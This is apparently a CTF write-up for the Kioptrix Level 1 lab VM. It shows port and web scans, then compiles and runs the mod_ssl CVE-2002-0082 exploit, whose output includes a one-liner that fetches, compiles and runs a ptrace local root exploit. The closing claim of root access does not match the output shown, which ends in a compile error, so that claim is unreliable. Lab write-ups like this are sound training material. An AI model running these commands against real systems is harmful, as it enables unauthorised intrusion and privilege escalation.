Kioptrix Level 1 Writeup

Kioptrix: Level 1

Kioptrix series consists of 5 vulnerable machines. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

Get VM’s IP

Nmap -sn

Find the Kioptrix Vm IP address using the -sn(Ping Scan) flag.



  • -p- –> to scan ports from 1 through 65535
  • -sV –> Version detection
  • -sC –> script scan using the default set of scripts => equivalent to –script=default
  • -A –> Aggressive scan options
  • –min-rate 1000 –> 1000 packets per second
  • –max-retries 5 –> number of times a packet is to be resent on a port to check

nmap -p- -sV -sC -A --min-rate 1000 --max-retries 5
Starting Nmap 7.91 ( ) at 2021-06-04 16:40 EDT
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 1.08% done; ETC: 16:44 (0:03:02 remaining)
Nmap scan report for
Host is up (0.0022s latency).
Not shown: 65529 filtered ports
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1           1024/tcp   status
|_  100024  1           1024/udp   status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after:  2010-09-26T09:32:06
|_ssl-date: 2021-06-04T20:45:41+00:00; +1m55s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
1024/tcp open  status      1 (RPC #100024)

Host script results:
|_clock-skew: 1m54s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 182.00 seconds

That’s a lot of outdated services, Lets start with web service.


nikto -h 
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2021-06-05 14:45:52 (GMT-4)
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep  5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell., OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated:  20 error(s) and 19 item(s) reported on remote host
+ End Time:           2021-06-05 14:52:46 (GMT-4) (414 seconds)
+ 1 host(s) tested

From the nikto scan,

mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell., OSVDB-756.

CVE-2002-0082 is interesting which provides remote shell.


By searching CVE-2002-0082, exploit-db have a exploit for this CVE - click here.

Compile the c code as below,

gcc -o mod-ssl 47080.c -lcrypto

  • 0x6b - Redhat Linux 7.2(Found from nmap scan)
./mod-ssl 0x6b 443 -c 41

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Connection... 41 of 41
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8070
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ unset HISTFILE; cd /tmp; wget -Orace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; 
           => `ptrace-kmod.c'
Connecting to connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

    0K ...                                                    @ 655.27 KB/s

16:16:49 (655.27 KB/s) - `ptrace-kmod.c' saved [4026]

ptrace-kmod.c:183:1: warning: no newline at end of file
/usr/bin/ld: cannot open output file p: Permission denied
collect2: ld returned 1 exit status

A shell with root access.


For the above exploit to work, Both kali and Kioptrix should be in bridged network If you are hosting in Vmware.


Author: Mukhilan
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